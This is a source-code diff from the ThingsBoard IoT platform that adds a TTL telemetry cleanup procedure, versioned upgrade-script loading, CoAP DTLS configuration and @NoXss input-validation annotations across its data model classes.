Showing
76 changed files
with
2170 additions
and
396 deletions
1 | +-- | |
2 | +-- Copyright © 2016-2021 The Thingsboard Authors | |
3 | +-- | |
4 | +-- Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | +-- you may not use this file except in compliance with the License. | |
6 | +-- You may obtain a copy of the License at | |
7 | +-- | |
8 | +-- http://www.apache.org/licenses/LICENSE-2.0 | |
9 | +-- | |
10 | +-- Unless required by applicable law or agreed to in writing, software | |
11 | +-- distributed under the License is distributed on an "AS IS" BASIS, | |
12 | +-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | +-- See the License for the specific language governing permissions and | |
14 | +-- limitations under the License. | |
15 | +-- | |
16 | + | |
17 | +CREATE OR REPLACE PROCEDURE cleanup_timeseries_by_ttl(IN null_uuid uuid, | |
18 | + IN system_ttl bigint, INOUT deleted bigint) | |
19 | + LANGUAGE plpgsql AS | |
20 | +$$ | |
21 | +DECLARE | |
22 | +tenant_cursor CURSOR FOR select tenant.id as tenant_id | |
23 | + from tenant; | |
24 | + tenant_id_record uuid; | |
25 | + customer_id_record uuid; | |
26 | + tenant_ttl bigint; | |
27 | + customer_ttl bigint; | |
28 | + deleted_for_entities bigint; | |
29 | + tenant_ttl_ts bigint; | |
30 | + customer_ttl_ts bigint; | |
31 | +BEGIN | |
32 | +OPEN tenant_cursor; | |
33 | +FETCH tenant_cursor INTO tenant_id_record; | |
34 | +WHILE FOUND | |
35 | + LOOP | |
36 | + EXECUTE format( | |
37 | + 'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', | |
38 | + tenant_id_record, 'TTL') INTO tenant_ttl; | |
39 | + if tenant_ttl IS NULL THEN | |
40 | + tenant_ttl := system_ttl; | |
41 | +END IF; | |
42 | + IF tenant_ttl > 0 THEN | |
43 | + tenant_ttl_ts := (EXTRACT(EPOCH FROM current_timestamp) * 1000 - tenant_ttl::bigint * 1000)::bigint; | |
44 | + deleted_for_entities := delete_device_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); | |
45 | + deleted := deleted + deleted_for_entities; | |
46 | + RAISE NOTICE '% telemetry removed for devices where tenant_id = %', deleted_for_entities, tenant_id_record; | |
47 | + deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); | |
48 | + deleted := deleted + deleted_for_entities; | |
49 | + RAISE NOTICE '% telemetry removed for assets where tenant_id = %', deleted_for_entities, tenant_id_record; | |
50 | +END IF; | |
51 | +FOR customer_id_record IN | |
52 | +SELECT customer.id AS customer_id FROM customer WHERE customer.tenant_id = tenant_id_record | |
53 | + LOOP | |
54 | + EXECUTE format( | |
55 | + 'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', | |
56 | + customer_id_record, 'TTL') INTO customer_ttl; | |
57 | +IF customer_ttl IS NULL THEN | |
58 | + customer_ttl_ts := tenant_ttl_ts; | |
59 | +ELSE | |
60 | + IF customer_ttl > 0 THEN | |
61 | + customer_ttl_ts := | |
62 | + (EXTRACT(EPOCH FROM current_timestamp) * 1000 - | |
63 | + customer_ttl::bigint * 1000)::bigint; | |
64 | +END IF; | |
65 | +END IF; | |
66 | + IF customer_ttl_ts IS NOT NULL AND customer_ttl_ts > 0 THEN | |
67 | + deleted_for_entities := | |
68 | + delete_customer_records_from_ts_kv(tenant_id_record, customer_id_record, | |
69 | + customer_ttl_ts); | |
70 | + deleted := deleted + deleted_for_entities; | |
71 | + RAISE NOTICE '% telemetry removed for customer with id = % where tenant_id = %', deleted_for_entities, customer_id_record, tenant_id_record; | |
72 | + deleted_for_entities := | |
73 | + delete_device_records_from_ts_kv(tenant_id_record, customer_id_record, | |
74 | + customer_ttl_ts); | |
75 | + deleted := deleted + deleted_for_entities; | |
76 | + RAISE NOTICE '% telemetry removed for devices where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; | |
77 | + deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, | |
78 | + customer_id_record, | |
79 | + customer_ttl_ts); | |
80 | + deleted := deleted + deleted_for_entities; | |
81 | + RAISE NOTICE '% telemetry removed for assets where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; | |
82 | +END IF; | |
83 | +END LOOP; | |
84 | +FETCH tenant_cursor INTO tenant_id_record; | |
85 | +END LOOP; | |
86 | +END | |
87 | +$$; | ... | ... |
... | ... | @@ -19,11 +19,15 @@ import lombok.extern.slf4j.Slf4j; |
19 | 19 | import org.springframework.beans.factory.annotation.Autowired; |
20 | 20 | import org.springframework.http.HttpStatus; |
21 | 21 | import org.springframework.security.access.prepost.PreAuthorize; |
22 | -import org.springframework.web.bind.annotation.*; | |
22 | +import org.springframework.web.bind.annotation.RequestBody; | |
23 | +import org.springframework.web.bind.annotation.RequestMapping; | |
24 | +import org.springframework.web.bind.annotation.RequestMethod; | |
25 | +import org.springframework.web.bind.annotation.ResponseBody; | |
26 | +import org.springframework.web.bind.annotation.ResponseStatus; | |
27 | +import org.springframework.web.bind.annotation.RestController; | |
23 | 28 | import org.thingsboard.server.common.data.exception.ThingsboardException; |
24 | 29 | import org.thingsboard.server.common.data.oauth2.OAuth2ClientInfo; |
25 | 30 | import org.thingsboard.server.common.data.oauth2.OAuth2ClientsParams; |
26 | -import org.thingsboard.server.common.data.oauth2.SchemeType; | |
27 | 31 | import org.thingsboard.server.dao.oauth2.OAuth2Configuration; |
28 | 32 | import org.thingsboard.server.queue.util.TbCoreComponent; |
29 | 33 | import org.thingsboard.server.service.security.permission.Operation; |
... | ... | @@ -31,6 +35,7 @@ import org.thingsboard.server.service.security.permission.Resource; |
31 | 35 | import org.thingsboard.server.utils.MiscUtils; |
32 | 36 | |
33 | 37 | import javax.servlet.http.HttpServletRequest; |
38 | +import java.util.Enumeration; | |
34 | 39 | import java.util.List; |
35 | 40 | |
36 | 41 | @RestController |
... | ... | @@ -46,6 +51,14 @@ public class OAuth2Controller extends BaseController { |
46 | 51 | @ResponseBody |
47 | 52 | public List<OAuth2ClientInfo> getOAuth2Clients(HttpServletRequest request) throws ThingsboardException { |
48 | 53 | try { |
54 | + if (log.isDebugEnabled()) { | |
55 | + log.debug("Executing getOAuth2Clients: [{}][{}][{}]", request.getScheme(), request.getServerName(), request.getServerPort()); | |
56 | + Enumeration<String> headerNames = request.getHeaderNames(); | |
57 | + while (headerNames.hasMoreElements()) { | |
58 | + String header = headerNames.nextElement(); | |
59 | + log.debug("Header: {} {}", header, request.getHeader(header)); | |
60 | + } | |
61 | + } | |
49 | 62 | return oAuth2Service.getOAuth2Clients(MiscUtils.getScheme(request), MiscUtils.getDomainNameAndPort(request)); |
50 | 63 | } catch (Exception e) { |
51 | 64 | throw handleException(e); | ... | ... |
... | ... | @@ -50,7 +50,7 @@ public abstract class AbstractSqlTsDatabaseUpgradeService { |
50 | 50 | @Autowired |
51 | 51 | protected InstallScripts installScripts; |
52 | 52 | |
53 | - protected abstract void loadSql(Connection conn, String fileName); | |
53 | + protected abstract void loadSql(Connection conn, String fileName, String version); | |
54 | 54 | |
55 | 55 | protected void loadFunctions(Path sqlFile, Connection conn) throws Exception { |
56 | 56 | String sql = new String(Files.readAllBytes(sqlFile), StandardCharsets.UTF_8); | ... | ... |
... | ... | @@ -94,7 +94,7 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe |
94 | 94 | log.info("PostgreSQL version is valid!"); |
95 | 95 | if (isOldSchema(conn, 2004003)) { |
96 | 96 | log.info("Load upgrade functions ..."); |
97 | - loadSql(conn, LOAD_FUNCTIONS_SQL); | |
97 | + loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3"); | |
98 | 98 | log.info("Updating timeseries schema ..."); |
99 | 99 | executeQuery(conn, CALL_CREATE_PARTITION_TS_KV_TABLE); |
100 | 100 | if (!partitionType.equals("INDEFINITE")) { |
... | ... | @@ -179,9 +179,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe |
179 | 179 | } |
180 | 180 | |
181 | 181 | log.info("Load TTL functions ..."); |
182 | - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL); | |
182 | + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3"); | |
183 | 183 | log.info("Load Drop Partitions functions ..."); |
184 | - loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL); | |
184 | + loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3"); | |
185 | 185 | |
186 | 186 | executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000"); |
187 | 187 | |
... | ... | @@ -199,9 +199,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe |
199 | 199 | case "3.2.1": |
200 | 200 | try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) { |
201 | 201 | log.info("Load TTL functions ..."); |
202 | - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL); | |
202 | + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3"); | |
203 | 203 | log.info("Load Drop Partitions functions ..."); |
204 | - loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL); | |
204 | + loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3"); | |
205 | 205 | |
206 | 206 | executeQuery(conn, "DROP PROCEDURE IF EXISTS cleanup_timeseries_by_ttl(character varying, bigint, bigint);"); |
207 | 207 | executeQuery(conn, "DROP FUNCTION IF EXISTS delete_asset_records_from_ts_kv(character varying, character varying, bigint);"); |
... | ... | @@ -244,8 +244,8 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe |
244 | 244 | } |
245 | 245 | |
246 | 246 | @Override |
247 | - protected void loadSql(Connection conn, String fileName) { | |
248 | - Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName); | |
247 | + protected void loadSql(Connection conn, String fileName, String version) { | |
248 | + Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName); | |
249 | 249 | try { |
250 | 250 | loadFunctions(schemaUpdateFile, conn); |
251 | 251 | log.info("Functions successfully loaded!"); | ... | ... |
... | ... | @@ -89,7 +89,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr |
89 | 89 | log.info("PostgreSQL version is valid!"); |
90 | 90 | if (isOldSchema(conn, 2004003)) { |
91 | 91 | log.info("Load upgrade functions ..."); |
92 | - loadSql(conn, LOAD_FUNCTIONS_SQL); | |
92 | + loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3"); | |
93 | 93 | log.info("Updating timescale schema ..."); |
94 | 94 | executeQuery(conn, CALL_CREATE_TS_KV_LATEST_TABLE); |
95 | 95 | executeQuery(conn, CALL_CREATE_NEW_TENANT_TS_KV_TABLE); |
... | ... | @@ -165,7 +165,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr |
165 | 165 | } |
166 | 166 | |
167 | 167 | log.info("Load TTL functions ..."); |
168 | - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL); | |
168 | + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3"); | |
169 | 169 | |
170 | 170 | executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000"); |
171 | 171 | log.info("schema timescale updated!"); |
... | ... | @@ -178,7 +178,11 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr |
178 | 178 | } |
179 | 179 | break; |
180 | 180 | case "3.1.1": |
181 | + break; | |
181 | 182 | case "3.2.1": |
183 | + try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) { | |
184 | + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "3.2.1"); | |
185 | + } | |
182 | 186 | break; |
183 | 187 | default: |
184 | 188 | throw new RuntimeException("Unable to upgrade SQL database, unsupported fromVersion: " + fromVersion); |
... | ... | @@ -201,8 +205,8 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr |
201 | 205 | } |
202 | 206 | |
203 | 207 | @Override |
204 | - protected void loadSql(Connection conn, String fileName) { | |
205 | - Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName); | |
208 | + protected void loadSql(Connection conn, String fileName, String version) { | |
209 | + Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName); | |
206 | 210 | try { |
207 | 211 | loadFunctions(schemaUpdateFile, conn); |
208 | 212 | log.info("Functions successfully loaded!"); | ... | ... |
... | ... | @@ -586,6 +586,24 @@ transport: |
586 | 586 | bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}" |
587 | 587 | bind_port: "${COAP_BIND_PORT:5683}" |
588 | 588 | timeout: "${COAP_TIMEOUT:10000}" |
589 | + dtls: | |
590 | + # Enable/disable DTLS 1.2 support | |
591 | + enabled: "${COAP_DTLS_ENABLED:false}" | |
592 | + # Secure mode. Allowed values: NO_AUTH, X509 | |
593 | + mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}" | |
594 | + # Path to the key store that holds the certificate | |
595 | + key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}" | |
596 | + # Password used to access the key store | |
597 | + key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}" | |
598 | + # Password used to access the key | |
599 | + key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}" | |
600 | + # Key alias | |
601 | + key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}" | |
602 | + # Skip certificate validity check for client certificates. | |
603 | + skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}" | |
604 | + x509: | |
605 | + dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}" | |
606 | + dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}" | |
589 | 607 | # Local LwM2M transport parameters |
590 | 608 | lwm2m: |
591 | 609 | # Enable/disable lvm2m transport protocol. | ... | ... |
... | ... | @@ -37,6 +37,14 @@ |
37 | 37 | |
38 | 38 | <dependencies> |
39 | 39 | <dependency> |
40 | + <groupId>javax.validation</groupId> | |
41 | + <artifactId>validation-api</artifactId> | |
42 | + </dependency> | |
43 | + <dependency> | |
44 | + <groupId>org.owasp.antisamy</groupId> | |
45 | + <artifactId>antisamy</artifactId> | |
46 | + </dependency> | |
47 | + <dependency> | |
40 | 48 | <groupId>org.slf4j</groupId> |
41 | 49 | <artifactId>slf4j-api</artifactId> |
42 | 50 | </dependency> | ... | ... |
... | ... | @@ -18,11 +18,13 @@ package org.thingsboard.server.common.data; |
18 | 18 | import org.thingsboard.server.common.data.id.AdminSettingsId; |
19 | 19 | |
20 | 20 | import com.fasterxml.jackson.databind.JsonNode; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | |
21 | 22 | |
22 | 23 | public class AdminSettings extends BaseData<AdminSettingsId> { |
23 | 24 | |
24 | 25 | private static final long serialVersionUID = -7670322981725511892L; |
25 | - | |
26 | + | |
27 | + @NoXss | |
26 | 28 | private String key; |
27 | 29 | private transient JsonNode jsonValue; |
28 | 30 | ... | ... |
... | ... | @@ -17,19 +17,28 @@ package org.thingsboard.server.common.data; |
17 | 17 | |
18 | 18 | import lombok.EqualsAndHashCode; |
19 | 19 | import org.thingsboard.server.common.data.id.UUIDBased; |
20 | +import org.thingsboard.server.common.data.validation.NoXss; | |
20 | 21 | |
21 | 22 | @EqualsAndHashCode(callSuper = true) |
22 | 23 | public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName { |
23 | 24 | |
24 | 25 | private static final long serialVersionUID = 5047448057830660988L; |
25 | - | |
26 | + | |
27 | + @NoXss | |
26 | 28 | protected String country; |
29 | + @NoXss | |
27 | 30 | protected String state; |
31 | + @NoXss | |
28 | 32 | protected String city; |
33 | + @NoXss | |
29 | 34 | protected String address; |
35 | + @NoXss | |
30 | 36 | protected String address2; |
37 | + @NoXss | |
31 | 38 | protected String zip; |
39 | + @NoXss | |
32 | 40 | protected String phone; |
41 | + @NoXss | |
33 | 42 | protected String email; |
34 | 43 | |
35 | 44 | public ContactBased() { | ... | ... |
... | ... | @@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty; |
20 | 20 | import com.fasterxml.jackson.annotation.JsonProperty.Access; |
21 | 21 | import org.thingsboard.server.common.data.id.CustomerId; |
22 | 22 | import org.thingsboard.server.common.data.id.TenantId; |
23 | - | |
24 | -import com.fasterxml.jackson.databind.JsonNode; | |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | |
25 | 24 | |
26 | 25 | public class Customer extends ContactBased<CustomerId> implements HasTenantId { |
27 | 26 | |
28 | 27 | private static final long serialVersionUID = -1599722990298929275L; |
29 | - | |
28 | + | |
29 | + @NoXss | |
30 | 30 | private String title; |
31 | 31 | private TenantId tenantId; |
32 | 32 | ... | ... |
... | ... | @@ -24,6 +24,7 @@ import org.thingsboard.server.common.data.id.CustomerId; |
24 | 24 | import org.thingsboard.server.common.data.id.DeviceId; |
25 | 25 | import org.thingsboard.server.common.data.id.DeviceProfileId; |
26 | 26 | import org.thingsboard.server.common.data.id.TenantId; |
27 | +import org.thingsboard.server.common.data.validation.NoXss; | |
27 | 28 | |
28 | 29 | import java.io.ByteArrayInputStream; |
29 | 30 | import java.io.IOException; |
... | ... | @@ -36,8 +37,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen |
36 | 37 | |
37 | 38 | private TenantId tenantId; |
38 | 39 | private CustomerId customerId; |
40 | + @NoXss | |
39 | 41 | private String name; |
42 | + @NoXss | |
40 | 43 | private String type; |
44 | + @NoXss | |
41 | 45 | private String label; |
42 | 46 | private DeviceProfileId deviceProfileId; |
43 | 47 | private transient DeviceData deviceData; | ... | ... |
... | ... | @@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData; |
24 | 24 | import org.thingsboard.server.common.data.id.DeviceProfileId; |
25 | 25 | import org.thingsboard.server.common.data.id.RuleChainId; |
26 | 26 | import org.thingsboard.server.common.data.id.TenantId; |
27 | +import org.thingsboard.server.common.data.validation.NoXss; | |
27 | 28 | |
29 | +import javax.validation.Valid; | |
28 | 30 | import java.io.ByteArrayInputStream; |
29 | 31 | import java.io.IOException; |
30 | 32 | |
... | ... | @@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn |
36 | 38 | public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId { |
37 | 39 | |
38 | 40 | private TenantId tenantId; |
41 | + @NoXss | |
39 | 42 | private String name; |
43 | + @NoXss | |
40 | 44 | private String description; |
41 | 45 | private boolean isDefault; |
42 | 46 | private DeviceProfileType type; |
43 | 47 | private DeviceTransportType transportType; |
44 | 48 | private DeviceProfileProvisionType provisionType; |
45 | 49 | private RuleChainId defaultRuleChainId; |
50 | + @NoXss | |
46 | 51 | private String defaultQueueName; |
52 | + @Valid | |
47 | 53 | private transient DeviceProfileData profileData; |
48 | 54 | @JsonIgnore |
49 | 55 | private byte[] profileDataBytes; |
56 | + @NoXss | |
50 | 57 | private String provisionDeviceKey; |
51 | 58 | |
52 | 59 | public DeviceProfile() { | ... | ... |
... | ... | @@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId; |
23 | 23 | import org.thingsboard.server.common.data.id.EntityViewId; |
24 | 24 | import org.thingsboard.server.common.data.id.TenantId; |
25 | 25 | import org.thingsboard.server.common.data.objects.TelemetryEntityView; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | |
26 | 27 | |
27 | 28 | /** |
28 | 29 | * Created by Victor Basanets on 8/27/2017. |
... | ... | @@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId> |
39 | 40 | private EntityId entityId; |
40 | 41 | private TenantId tenantId; |
41 | 42 | private CustomerId customerId; |
43 | + @NoXss | |
42 | 44 | private String name; |
45 | + @NoXss | |
43 | 46 | private String type; |
44 | 47 | private TelemetryEntityView keys; |
45 | 48 | private long startTimeMs; | ... | ... |
... | ... | @@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty; |
20 | 20 | import lombok.EqualsAndHashCode; |
21 | 21 | import org.thingsboard.server.common.data.id.TenantId; |
22 | 22 | import org.thingsboard.server.common.data.id.TenantProfileId; |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | |
23 | 24 | |
24 | 25 | @EqualsAndHashCode(callSuper = true) |
25 | 26 | public class Tenant extends ContactBased<TenantId> implements HasTenantId { |
26 | 27 | |
27 | 28 | private static final long serialVersionUID = 8057243243859922101L; |
28 | - | |
29 | + | |
30 | + @NoXss | |
29 | 31 | private String title; |
32 | + @NoXss | |
30 | 33 | private String region; |
31 | 34 | private TenantProfileId tenantProfileId; |
32 | 35 | ... | ... |
... | ... | @@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j; |
23 | 23 | import org.thingsboard.server.common.data.id.TenantProfileId; |
24 | 24 | import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration; |
25 | 25 | import org.thingsboard.server.common.data.tenant.profile.TenantProfileData; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | |
26 | 27 | |
27 | 28 | import java.io.ByteArrayInputStream; |
28 | 29 | import java.io.IOException; |
... | ... | @@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn |
34 | 35 | @Slf4j |
35 | 36 | public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName { |
36 | 37 | |
38 | + @NoXss | |
37 | 39 | private String name; |
40 | + @NoXss | |
38 | 41 | private String description; |
39 | 42 | private boolean isDefault; |
40 | 43 | private boolean isolatedTbCore; | ... | ... |
... | ... | @@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId; |
24 | 24 | import org.thingsboard.server.common.data.id.UserId; |
25 | 25 | import org.thingsboard.server.common.data.security.Authority; |
26 | 26 | |
27 | -import com.fasterxml.jackson.databind.JsonNode; | |
27 | +import org.thingsboard.server.common.data.validation.NoXss; | |
28 | 28 | |
29 | 29 | @EqualsAndHashCode(callSuper = true) |
30 | 30 | public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId { |
... | ... | @@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H |
35 | 35 | private CustomerId customerId; |
36 | 36 | private String email; |
37 | 37 | private Authority authority; |
38 | + @NoXss | |
38 | 39 | private String firstName; |
40 | + @NoXss | |
39 | 41 | private String lastName; |
40 | 42 | |
41 | 43 | public User() { | ... | ... |
... | ... | @@ -15,12 +15,15 @@ |
15 | 15 | */ |
16 | 16 | package org.thingsboard.server.common.data.asset; |
17 | 17 | |
18 | -import com.fasterxml.jackson.databind.JsonNode; | |
19 | 18 | import lombok.EqualsAndHashCode; |
20 | -import org.thingsboard.server.common.data.*; | |
19 | +import org.thingsboard.server.common.data.HasCustomerId; | |
20 | +import org.thingsboard.server.common.data.HasName; | |
21 | +import org.thingsboard.server.common.data.HasTenantId; | |
22 | +import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; | |
21 | 23 | import org.thingsboard.server.common.data.id.AssetId; |
22 | 24 | import org.thingsboard.server.common.data.id.CustomerId; |
23 | 25 | import org.thingsboard.server.common.data.id.TenantId; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | |
24 | 27 | |
25 | 28 | @EqualsAndHashCode(callSuper = true) |
26 | 29 | public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId { |
... | ... | @@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements |
29 | 32 | |
30 | 33 | private TenantId tenantId; |
31 | 34 | private CustomerId customerId; |
35 | + @NoXss | |
32 | 36 | private String name; |
37 | + @NoXss | |
33 | 38 | private String type; |
39 | + @NoXss | |
34 | 40 | private String label; |
35 | 41 | |
36 | 42 | public Asset() { | ... | ... |
... | ... | @@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import com.fasterxml.jackson.annotation.JsonIgnoreProperties; |
19 | 19 | import lombok.Data; |
20 | -import org.thingsboard.server.common.data.query.KeyFilter; | |
21 | 20 | |
21 | +import javax.validation.Valid; | |
22 | 22 | import java.util.List; |
23 | -import java.util.concurrent.TimeUnit; | |
24 | 23 | |
25 | 24 | @Data |
26 | 25 | @JsonIgnoreProperties(ignoreUnknown = true) |
27 | 26 | public class AlarmCondition { |
28 | 27 | |
28 | + @Valid | |
29 | 29 | private List<AlarmConditionFilter> condition; |
30 | 30 | private AlarmConditionSpec spec; |
31 | 31 | ... | ... |
... | ... | @@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile; |
18 | 18 | import lombok.Data; |
19 | 19 | import org.thingsboard.server.common.data.query.EntityKeyValueType; |
20 | 20 | import org.thingsboard.server.common.data.query.KeyFilterPredicate; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | |
22 | + | |
23 | +import javax.validation.Valid; | |
21 | 24 | |
22 | 25 | @Data |
23 | 26 | public class AlarmConditionFilter { |
24 | 27 | |
28 | + @Valid | |
25 | 29 | private AlarmConditionFilterKey key; |
26 | 30 | private EntityKeyValueType valueType; |
31 | + @NoXss | |
27 | 32 | private Object value; |
33 | + @Valid | |
28 | 34 | private KeyFilterPredicate predicate; |
29 | 35 | |
30 | 36 | } | ... | ... |
... | ... | @@ -16,11 +16,13 @@ |
16 | 16 | package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | +import org.thingsboard.server.common.data.validation.NoXss; | |
19 | 20 | |
20 | 21 | @Data |
21 | 22 | public class AlarmConditionFilterKey { |
22 | 23 | |
23 | 24 | private final AlarmConditionKeyType type; |
25 | + @NoXss | |
24 | 26 | private final String key; |
25 | 27 | |
26 | 28 | } | ... | ... |
... | ... | @@ -16,13 +16,18 @@ |
16 | 16 | package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | +import org.thingsboard.server.common.data.validation.NoXss; | |
20 | + | |
21 | +import javax.validation.Valid; | |
19 | 22 | |
20 | 23 | @Data |
21 | 24 | public class AlarmRule { |
22 | 25 | |
26 | + @Valid | |
23 | 27 | private AlarmCondition condition; |
24 | 28 | private AlarmSchedule schedule; |
25 | 29 | // Advanced |
30 | + @NoXss | |
26 | 31 | private String alarmDetails; |
27 | 32 | |
28 | 33 | } | ... | ... |
... | ... | @@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | 19 | import org.thingsboard.server.common.data.alarm.AlarmSeverity; |
20 | +import org.thingsboard.server.common.data.validation.NoXss; | |
20 | 21 | |
22 | +import javax.validation.Valid; | |
21 | 23 | import java.util.List; |
22 | 24 | import java.util.TreeMap; |
23 | 25 | |
... | ... | @@ -25,9 +27,12 @@ import java.util.TreeMap; |
25 | 27 | public class DeviceProfileAlarm { |
26 | 28 | |
27 | 29 | private String id; |
30 | + @NoXss | |
28 | 31 | private String alarmType; |
29 | 32 | |
33 | + @Valid | |
30 | 34 | private TreeMap<AlarmSeverity, AlarmRule> createRules; |
35 | + @Valid | |
31 | 36 | private AlarmRule clearRule; |
32 | 37 | |
33 | 38 | // Hidden in advanced settings | ... | ... |
... | ... | @@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | 19 | |
20 | +import javax.validation.Valid; | |
20 | 21 | import java.util.List; |
21 | 22 | |
22 | 23 | @Data |
... | ... | @@ -25,6 +26,7 @@ public class DeviceProfileData { |
25 | 26 | private DeviceProfileConfiguration configuration; |
26 | 27 | private DeviceProfileTransportConfiguration transportConfiguration; |
27 | 28 | private DeviceProfileProvisionConfiguration provisionConfiguration; |
29 | + @Valid | |
28 | 30 | private List<DeviceProfileAlarm> alarms; |
29 | 31 | |
30 | 32 | } | ... | ... |
... | ... | @@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query; |
18 | 18 | import com.fasterxml.jackson.annotation.JsonIgnore; |
19 | 19 | import lombok.Data; |
20 | 20 | import lombok.RequiredArgsConstructor; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | |
21 | 22 | |
22 | 23 | @Data |
23 | 24 | @RequiredArgsConstructor |
... | ... | @@ -27,6 +28,7 @@ public class DynamicValue<T> { |
27 | 28 | private T resolvedValue; |
28 | 29 | |
29 | 30 | private final DynamicValueSourceType sourceType; |
31 | + @NoXss | |
30 | 32 | private final String sourceAttribute; |
31 | 33 | private final boolean inherit; |
32 | 34 | ... | ... |
... | ... | @@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore; |
20 | 20 | import com.fasterxml.jackson.annotation.JsonProperty; |
21 | 21 | import lombok.Data; |
22 | 22 | import lombok.Getter; |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | |
24 | + | |
25 | +import javax.validation.Valid; | |
23 | 26 | |
24 | 27 | @Data |
25 | 28 | public class FilterPredicateValue<T> { |
26 | 29 | |
27 | 30 | @Getter |
31 | + @NoXss | |
28 | 32 | private final T defaultValue; |
